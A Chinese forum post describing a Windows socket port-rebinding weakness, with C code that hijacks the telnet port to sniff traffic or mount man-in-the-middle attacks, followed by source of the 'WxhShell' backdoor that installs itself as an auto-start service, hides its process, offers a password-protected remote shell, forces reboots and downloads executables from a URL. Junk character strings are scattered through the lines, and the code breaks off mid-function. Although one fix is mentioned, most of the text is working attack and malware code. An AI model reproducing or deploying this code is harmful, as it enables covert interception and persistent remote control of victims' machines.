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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J?E!\V&U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F }F{/  
sVnq|[ /  
  saddr.sin_family = AF_INET; W<O/LHKHdn  
<Vh5`-J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <Nloh+n=  
t"~X6o|R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1 K^-tms  
)-iUUak  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5,O:"3>c  
< uV@/fn<  
  这意味着什么?意味着可以进行如下的攻击: eH*i_g'  
64y9.PY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gC%$)4-:  
[H$kVQC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 39~WP$GM  
&P*r66  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !6#.%"{-  
juu"V]Q 1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q{[y4c1bG{  
\O~WMN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?}uvpB1}  
 "}[ ]R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OB+cE4$  
|1<B(iB'{/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >h9~ /  
ljg6uz1v %  
  #include d;3f80Kd*  
  #include ^"uD:f)  
  #include 5yW}#W>  
  #include    l r~>!O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >r4BI}8SK<  
  int main() u2':~h?l  
  { ?<OyJ|;V  
  WORD wVersionRequested; rc`Il{~k  
  DWORD ret; %X\Rfn0J"  
  WSADATA wsaData; A-^B ?E  
  BOOL val; ;?-{Uk  
  SOCKADDR_IN saddr; E1A5<^t  
  SOCKADDR_IN scaddr; O|9Nl*rXz  
  int err; ePSD#kY5  
  SOCKET s; |\C.il7  
  SOCKET sc; ,W]}mqV%.'  
  int caddsize; Sl \EPKZD  
  HANDLE mt; h7xgLe@  
  DWORD tid;   h-m0Ro?6  
  wVersionRequested = MAKEWORD( 2, 2 ); ,oEAWNbgQ  
  err = WSAStartup( wVersionRequested, &wsaData ); b$*G&d5  
  if ( err != 0 ) { K)\D,5X^  
  printf("error!WSAStartup failed!\n"); !_dW  `  
  return -1; @}%kSn5y:  
  } q#8z%/~k  
  saddr.sin_family = AF_INET; zR=g<e1xe  
   bDegIW/'w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ihi!u%~}  
S!iDPl~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); # ?u bvSdU  
  saddr.sin_port = htons(23); rdX;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o 7V&HJ[  
  { 5["n] i  
  printf("error!socket failed!\n"); Z ]OX6G  
  return -1; 0h('@Hb.K#  
  } nXh<+7  
  val = TRUE; 1bCS4fs^>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n*~#]%4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y}W*P#BDO  
  { zHW&i~  
  printf("error!setsockopt failed!\n"); wA87|YK8*  
  return -1; 'E\qqE[;  
  } tK\$LZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nxuR^6 Ai  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :yOJL [x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Lf Y[Z4  
2\Yv;J+;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <1U *{y  
  { ,nw5 M.D_  
  ret=GetLastError(); )VG_Y9;Xk:  
  printf("error!bind failed!\n"); H .sfM   
  return -1; w#sP5qKv8  
  } S~y.>X3"P  
  listen(s,2); u/`x@u  
  while(1) Ap}`Q(.  
  { 1n $  
  caddsize = sizeof(scaddr); .n}k,da@(  
  //接受连接请求 I=8MLv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "N=q>jaX  
  if(sc!=INVALID_SOCKET) tqU8>d0^  
  { z)*\njYe  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1| xKb (_l  
  if(mt==NULL) OJLyqncw  
  { A+hT2Ew@t}  
  printf("Thread Creat Failed!\n"); &([Gc+"5E.  
  break; wY7+E/  
  } R1:7]z0B  
  } DEenvS`,P  
  CloseHandle(mt); >LFj@YW_)  
  } Nw3IDy~T  
  closesocket(s); k%LsjN.S  
  WSACleanup(); NB&zBJ#  
  return 0; qh wl  
  }   2\[ Q{T=Qe  
  DWORD WINAPI ClientThread(LPVOID lpParam) xQzXl  
  { .zdmUS :  
  SOCKET ss = (SOCKET)lpParam; wV{VV?h}  
  SOCKET sc; Wp= &nh  
  unsigned char buf[4096]; XP@&I[J3sI  
  SOCKADDR_IN saddr; .@Jos^rxgJ  
  long num; uU8L93  
  DWORD val; ,j[1!*Z_[  
  DWORD ret; `$r?^|T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,Q8h#0z r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /^ [K  
  saddr.sin_family = AF_INET; l37l| xp~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,,V uvn  
  saddr.sin_port = htons(23); xT8!X5;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zvbz3a  
  { EJ Ta~  
  printf("error!socket failed!\n"); S%w67sGl4n  
  return -1; h56s~(?O  
  } G*^4 CJ  
  val = 100; ~#JX 0J=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Fzt| \  
  { &. "ltB  
  ret = GetLastError(); $K!6T  
  return -1; rK cr1VFy  
  } \ id(P3M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FVoKNaK-  
  { + hMF\@  
  ret = GetLastError(); NJ!}(=1|K  
  return -1; D+Z,;XZ  
  } Um I,?p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;DI"9  
  { g_MxG!+(V  
  printf("error!socket connect failed!\n"); 2}#VB;B  
  closesocket(sc); -"n8Wv  
  closesocket(ss); yTU'voE.|  
  return -1; SQf.R%cg$  
  } a~`,zQ -@  
  while(1) %A;s 3 ]V  
  { ?B:],aztf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4yRX{Bl|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8)&J oPN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !Y]%U @4}  
  num = recv(ss,buf,4096,0); 7e<\11uI]a  
  if(num>0) v7D3aWoe  
  send(sc,buf,num,0); KKJa?e`C  
  else if(num==0) ~ouRDO  
  break; lKy4Nry9  
  num = recv(sc,buf,4096,0); 1?#Wg>7'  
  if(num>0) X\]Dx./  
  send(ss,buf,num,0); qk\LfRbj  
  else if(num==0) ig:z[k?  
  break; -<gQ>`(0  
  } x!9bvQT  
  closesocket(ss); ut9R] 01:  
  closesocket(sc); ZvW&%*k=  
  return 0 ; O9MBQNwjA  
  } z%WOv ~8~  
]hA]o7 k  
LfG$?<}hR  
========================================================== d Y]i AJ  
/Oa.@53tK6  
下边附上一个代码,,WXhSHELL 4S,/Z{ J.  
U\",!S~<  
========================================================== w'!J   
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#include "stdafx.h" IHf#P5y_  
29h_oNO  
#include <stdio.h> fuA 8jx  
#include <string.h>   [IW6F  
#include <windows.h> *Ja,3Qq  
#include <winsock2.h> ^]?Yd)v  
#include <winsvc.h> 05vu{>  
#include <urlmon.h> ou'|e"tI  
Ix|^c268o<  
#pragma comment (lib, "Ws2_32.lib") pB0Do6+{  
#pragma comment (lib, "urlmon.lib") Qx !! Ttd{  
jQ\/R~)O  
#define MAX_USER   100 // 最大客户端连接数 I K Dh)Zm  
#define BUF_SOCK   200 // sock buffer OL$^7FB  
#define KEY_BUFF   255 // 输入 buffer fsVr<m  
u&ozc  
#define REBOOT     0   // 重启 5v-o2  
#define SHUTDOWN   1   // 关机 0i9C\'W`  
Nx4X1j?-n  
#define DEF_PORT   5000 // 监听端口 }WG -R  
>CPoeIHK  
#define REG_LEN     16   // 注册表键长度 Pr^p ^s  
#define SVC_LEN     80   // NT服务名长度 ~m@w p  
 .)XJ-  
// 从dll定义API s$;IR c5!6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aQhr$aH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >d#6qXKAU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i"C?6R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ol. rjz9  
O\qY? )  
// wxhshell配置信息 <\5Y~!)  
struct WSCFG { \%:]o-+"I  
  int ws_port;         // 监听端口 z6J fu:_N!  
  char ws_passstr[REG_LEN]; // 口令 (L6*#!Dt  
  int ws_autoins;       // 安装标记, 1=yes 0=no X~Vr}  
  char ws_regname[REG_LEN]; // 注册表键名 $8,/[V A  
  char ws_svcname[REG_LEN]; // 服务名 fTc ,"{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HxH=~B1"P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s_N]$3'[E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T~'9p`IW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vdN0YCXG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wC[Bh^]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hFWK^]~ a  
;P4tqY@  
}; ym)`<[T  
Z ]WA-Q6n  
// default Wxhshell configuration Sk,9<@  
struct WSCFG wscfg={DEF_PORT, 8q& *tpE  
    "xuhuanlingzhe", 2Md'<.  
    1, IKV:J9  
    "Wxhshell", ZIrJ"*QO=  
    "Wxhshell", aF\?X &|  
            "WxhShell Service", W e*)RXm%  
    "Wrsky Windows CmdShell Service", Ev;ocb,  
    "Please Input Your Password: ", vVi))%&S(  
  1, ~.wDb,*  
  "http://www.wrsky.com/wxhshell.exe", RDu'N  
  "Wxhshell.exe" IW'2+EGc  
    }; f@a@R$y  
iy_\1jB0  
// 消息定义模块 \3@AC7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r'ydjy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5=.EngG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q#~]Hp=W5  
char *msg_ws_ext="\n\rExit."; |.Pl[y  
char *msg_ws_end="\n\rQuit."; 'qg q8  
char *msg_ws_boot="\n\rReboot..."; +t XOP|X  
char *msg_ws_poff="\n\rShutdown..."; !zNMU$p  
char *msg_ws_down="\n\rSave to "; _}B:SM  
R?Or=W)i  
char *msg_ws_err="\n\rErr!"; ~:%rg H  
char *msg_ws_ok="\n\rOK!"; K9y!ZoB  
nC5  
char ExeFile[MAX_PATH]; :J}@*>c  
int nUser = 0; 8HLcDS#  
HANDLE handles[MAX_USER]; 5CsJghTw  
int OsIsNt; r. :H`  
#}A >B  
SERVICE_STATUS       serviceStatus; ep<2u x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o[!g,Gmoh  
4;ig5'U,  
// 函数声明 k&1~yW  
int Install(void); q(yw,]h]{  
int Uninstall(void);  ,JcQp=g  
int DownloadFile(char *sURL, SOCKET wsh); 1!E+(Iq  
int Boot(int flag); nJ4CXSdE  
void HideProc(void); e1RtoNF^  
int GetOsVer(void); 7^J-5lY3S  
int Wxhshell(SOCKET wsl); J dDP  
void TalkWithClient(void *cs); !Ax7k;T  
int CmdShell(SOCKET sock); +0O{"XM  
int StartFromService(void); ?_F,HhQ  
int StartWxhshell(LPSTR lpCmdLine); 0F<O \  
&:` 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZC1U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iM Xl}3  
nV0"q|0K;  
// 数据结构和表定义 B94mh  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Db89Nc$  
{ uj-q@IKe  
{wscfg.ws_svcname, NTServiceMain}, n8M/Y}mH   
{NULL, NULL} M,Px.@tw.  
}; *s6MF{Ds  
|^ml|cb  
// 自我安装 UP]J `\$o  
int Install(void) m GWT</=[$  
{ "l&sDh%Lk<  
  char svExeFile[MAX_PATH]; WbS2w @8  
  HKEY key; <bf^'$l  
  strcpy(svExeFile,ExeFile); ud`.}H~aB  
.O'gD.|^N  
// 如果是win9x系统,修改注册表设为自启动 <)]B$~(a  
if(!OsIsNt) { OwQ 9y<v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 SQ_9{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OX ?9 3AlG  
  RegCloseKey(key); gtHk1 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >=2nAv/(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qx"?')+  
  RegCloseKey(key); )^^r\  
  return 0; 9b !+kJD  
    } Z8=4cWI~;  
  } [j5 ^Zb&0  
} 6!i0ioZzi0  
else { %xR;8IO  
2WIbu-"l  
// 如果是NT以上系统,安装为系统服务 `\&qk)ZP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 48n>[ FMSR  
if (schSCManager!=0) w<awCp  
{ N2}].}  
  SC_HANDLE schService = CreateService R9yK"  
  ( }tU<RvT  
  schSCManager, %t\`20-1<  
  wscfg.ws_svcname, 'MM#nQ\(  
  wscfg.ws_svcdisp, 2D MH@U2  
  SERVICE_ALL_ACCESS, ~R)Km`t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S&V5zB""n  
  SERVICE_AUTO_START, 'W$jHs  
  SERVICE_ERROR_NORMAL, f$k#\=2%  
  svExeFile, .l*]W!L]  
  NULL, j~"X`:=  
  NULL, 6yF4%Sz9  
  NULL, "_C^Bc  
  NULL, =?57*=]0M  
  NULL >;QkV6i7  
  ); fZXJPy;n  
  if (schService!=0) 5-w6(uu  
  { 5Lt&P 5BY  
  CloseServiceHandle(schService); a'Qy]P}'Ug  
  CloseServiceHandle(schSCManager); q01zN:|-1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /PIU@$DV  
  strcat(svExeFile,wscfg.ws_svcname); A"C%.InZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JPiC/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '&3Sl?E  
  RegCloseKey(key); B\}E v&  
  return 0; Xt8;Pl  
    } 1(!!EcU_  
  } o)?"P;UhJX  
  CloseServiceHandle(schSCManager); q[q#cY:0  
} |n=kYs  
} ,_Fq*6  
@}x)>tqD  
return 1; bsPwTp^  
} .dp~%!"Sn,  
x-Z`^O  
// 自我卸载 ;oULtQ  
int Uninstall(void) ix]3t^  
{ X?Omk, '  
  HKEY key; FWdSpaas Q  
>9=Y(`  
if(!OsIsNt) { TRAs5I%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q?Q"Ab  
  RegDeleteValue(key,wscfg.ws_regname); 8R:H{)o~s}  
  RegCloseKey(key); `/]8C &u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =X>3C"]  
  RegDeleteValue(key,wscfg.ws_regname); 2X)E3V/*  
  RegCloseKey(key); "`,PLC  
  return 0; S,3e|-&$  
  } J(M0t~RZ  
} rg_-gZl8&z  
} f8N  
else { _ZD)#?  
+B_q? 6pR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c.,:r X0S  
if (schSCManager!=0) rQ*'2Zf'<  
{ B {/Pv0y   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N!"GwH  
  if (schService!=0) !U,qr0h  
  { ahS*YeS7  
  if(DeleteService(schService)!=0) { }PyAmh$@  
  CloseServiceHandle(schService); JeUFCWm  
  CloseServiceHandle(schSCManager); aiw~4ix  
  return 0; nf /iZ &  
  } J`}/+WN7  
  CloseServiceHandle(schService); 68)z`JI|<)  
  } KzeA+PI  
  CloseServiceHandle(schSCManager); Y: KB"H  
} \E?1bc{\f  
} O`t ]#  
2{XQDOyA  
return 1; U`<EpO{j|  
} G ~a/g6M4  
yKOf]m>#  
// 从指定url下载文件 5&2=;?EO  
int DownloadFile(char *sURL, SOCKET wsh) `W?aq]4x5  
{ '/;#{("  
  HRESULT hr; *-_` xe  
char seps[]= "/"; ):LJ {.0R  
char *token; IDE@{Dy  
char *file; #B`"B  
char myURL[MAX_PATH]; Cl<` uW3  
char myFILE[MAX_PATH]; q'+XTal  
 vxr3|2`  
strcpy(myURL,sURL); k%NY,(:(  
  token=strtok(myURL,seps); -hp,O?PM  
  while(token!=NULL) 8,dCx}X  
  { 0NpxqeIDY  
    file=token; f>ED  
  token=strtok(NULL,seps); ^o:0 Y}v=  
  } *M+:GH/5  
cdzzS?$)  
GetCurrentDirectory(MAX_PATH,myFILE); bU2)pD!N  
strcat(myFILE, "\\"); Sqc*u&W  
strcat(myFILE, file); Kj}hb)HU  
  send(wsh,myFILE,strlen(myFILE),0); (sJ{27b_  
send(wsh,"...",3,0); m++VW0Y>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1xM&"p:  
  if(hr==S_OK) _=q)lt-UY  
return 0; :r^i0g|5P  
else Iy|]U&`  
return 1; y"$|?187x  
xC<OFpI\  
} NO`a2HR$  
)dC%g=dtc  
// 系统电源模块 G0> 'H1Z  
int Boot(int flag) |%&WYm6&#  
{ a/_sL(F{  
  HANDLE hToken; :$/lGIz  
  TOKEN_PRIVILEGES tkp;  >?U (w<  
O~fRcf:Q  
  if(OsIsNt) { ,a^_ ~(C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bi KpV? Dp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I7BfA,mZ7  
    tkp.PrivilegeCount = 1; H0tjN&O_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )u\"xxcV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q$b/T+-ec  
if(flag==REBOOT) { HewVwD<C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zn #ri 8S  
  return 0; s( Kf%ZoE  
} )]>=Uo  
else { ]Z<{ ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s'~_pP  
  return 0; 2c8,H29  
} z %+?\.oH  
  } JWMIZ{/M  
  else { kwGj 7'  
if(flag==REBOOT) { m'aw`?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T{sw{E*  
  return 0; *|euC"5c  
} &z1r$X.AW  
else { l4R:_Z<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )_xM)mH  
  return 0; qZ_^#%zO  
} 0lmoI4bW}s  
} \vFkhm  
{v;Y}o-p  
return 1; A "_;.e`  
} ;M"hX  
B Sb!{|]  
// win9x进程隐藏模块 O_F<VV*MFQ  
void HideProc(void) `Ph4!-6#  
{ aWe H,A%  
=B<g_9d4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /wCP(1Mw  
  if ( hKernel != NULL ) nfrC@Av  
  { C@]Z&H;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1|z>} xP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ut-UTW  
    FreeLibrary(hKernel); gyI5;il~  
  } %@H;6   
[2)Y0; ["  
return; a&XURyp  
} O%0G37h  
,p$1n;  
// 获取操作系统版本 4~G9._  
int GetOsVer(void) Z"e|DP`  
{ >-y'N.l^  
  OSVERSIONINFO winfo; ) I-8 .  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gt6$@ji4u  
  GetVersionEx(&winfo); V-7!)&q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <FGNV+?%e  
  return 1; +Icg;m{  
  else ^BNg^V.  
  return 0; L2Gm0 v  
} @#8F5G#  
3b#KrN'  
// 客户端句柄模块 }p8a'3@Z  
int Wxhshell(SOCKET wsl) (U$ F) 7  
{ =UTv  
  SOCKET wsh; *(o~pxFTR  
  struct sockaddr_in client; lW^RwNcd  
  DWORD myID; p@r~L(>+3  
YEVH?`G  
  while(nUser<MAX_USER) zJdlHa{  
{ /x$O6gi  
  int nSize=sizeof(client); \i`/k(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E8FS jLZ  
  if(wsh==INVALID_SOCKET) return 1; (F$q|qZ%  
{:{NK%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AO8`ItNZdT  
if(handles[nUser]==0) #MOEY|6  
  closesocket(wsh); #1V vK  
else 5OKbW!  
  nUser++; q'c'rN^  
  } pmQ9i A@=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g w }t.3}  
K-p1v!IC  
  return 0; bS* "C,b~s  
} K[T? --H  
zbi[r  
// 关闭 socket Du[$6  
void CloseIt(SOCKET wsh) j>?c]h{-  
{ .D)'ZY  
closesocket(wsh); `+]4C+w  
nUser--; rC/m}`b  
ExitThread(0); ]_F%{8|  
} wCn W]<+  
~p8-#A)X,)  
// 客户端请求句柄 +XFF@h&=t  
void TalkWithClient(void *cs) &IOChQ`8P  
{ Z4E:Z}~''  
_?O'65  
  SOCKET wsh=(SOCKET)cs; Q> @0'y=s  
  char pwd[SVC_LEN]; ivw2EEo,  
  char cmd[KEY_BUFF]; WBTX~%*U  
char chr[1]; `sJkOEc`  
int i,j; f4`=yj*  
uN6TV*]:  
  while (nUser < MAX_USER) { _~5{l_v|I  
mj S)*@F  
if(wscfg.ws_passstr) { k\x>kJ}0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kQ{pFFO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,}`II|.oB  
  //ZeroMemory(pwd,KEY_BUFF); Sn" 1XU  
      i=0; (AXS QI~y  
  while(i<SVC_LEN) { m:Z=: -x  
-i?!em'J  
  // 设置超时 6^UeEmjc  
  fd_set FdRead; vPSH  
  struct timeval TimeOut; 0'z$"(6D  
  FD_ZERO(&FdRead); !*+~R2&b  
  FD_SET(wsh,&FdRead); <\2,7K{{+;  
  TimeOut.tv_sec=8; Tv~<W4  
  TimeOut.tv_usec=0; x:@HtTX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .T4"+FTzP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J%3S3C2*m  
tC-(GDGy5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _YO` x  
  pwd=chr[0]; @ZD1HA,h"  
  if(chr[0]==0xd || chr[0]==0xa) { *vUKh^="  
  pwd=0; 0(:"q!h  
  break; />K$_T/]  
  } &[qL l  
  i++; bWUo(B#*I  
    } ]W-:-.prh  
Zp l?zI  
  // 如果是非法用户,关闭 socket N;<<-`i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T4o}5sq}S  
} eP[azC"G[  
rK}*Uwut  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :6N{~[:4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H:y.7  
?<xGO@b .  
while(1) { L;E9"7Jo  
[ ecYpE<  
  ZeroMemory(cmd,KEY_BUFF); Bb8lklQ  
]}~*uT}>  
      // 自动支持客户端 telnet标准   i nF&Pv  
  j=0; ak0KrVF  
  while(j<KEY_BUFF) { ,R ]]]7)+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X:@nROL^7  
  cmd[j]=chr[0]; 'S E%9  
  if(chr[0]==0xa || chr[0]==0xd) { 1ciP+->$  
  cmd[j]=0; w*$nG$  
  break; sqj8c)6  
  } )uZ<?bkQ  
  j++; >vt#,8VAN  
    } ?Z*LTsPr  
y{U'\  
  // 下载文件 "7Zb)Ocb  
  if(strstr(cmd,"http://")) { %HwPOEJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y%`^* E&  
  if(DownloadFile(cmd,wsh)) yi r#G""7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r3_@ L>;  
  else lNls8@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z Sj.Y{J  
  } nWmc  
  else { tjuW+5O  
mNWmp_c,1  
    switch(cmd[0]) { @H1pPr  
  jYO@ %bQ  
  // 帮助 o @~XX@5l  
  case '?': { I zM=?,`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F+*: >@3  
    break; n]6xrsE  
  } <;phc~0+  
  // 安装 <y(>z*T;  
  case 'i': { (#X/sZQh  
    if(Install()) X -w#E3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \SA5@.W  
    else :7@"EW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Tf}8e  
    break; Yf7n0Etd,  
    } T"dX)~E;  
  // 卸载 +:mj]`=  
  case 'r': { Pm#B'N#*N|  
    if(Uninstall()) W>bhSKV%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$j&j`  
    else !gW$A-XD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pj?+cy v~  
    break; 3yZtyXRPn  
    } (ZT*EFhb(  
  // 显示 wxhshell 所在路径 :-ax5,J>q  
  case 'p': { \*v}IO>2})  
    char svExeFile[MAX_PATH]; S2;{)"mS  
    strcpy(svExeFile,"\n\r"); ,BOB &u  
      strcat(svExeFile,ExeFile); CZxQz  
        send(wsh,svExeFile,strlen(svExeFile),0); no)Spo'  
    break; c{V0]A9VF  
    } +\\*Iy'xK  
  // 重启 Apa)qRJd  
  case 'b': { ;)u}`4~L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n|yl3v  
    if(Boot(REBOOT)) TB*g$ *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %pt ul_(s'  
    else { $/Zsy6q:  
    closesocket(wsh); T5Sa9\`>  
    ExitThread(0); [/6$P[  
    } eP(%+[g  
    break; 'g|%Ro/  
    } gE`G3kgn{  
  // 关机 Ej F<lw  
  case 'd': { nxA]EFS  
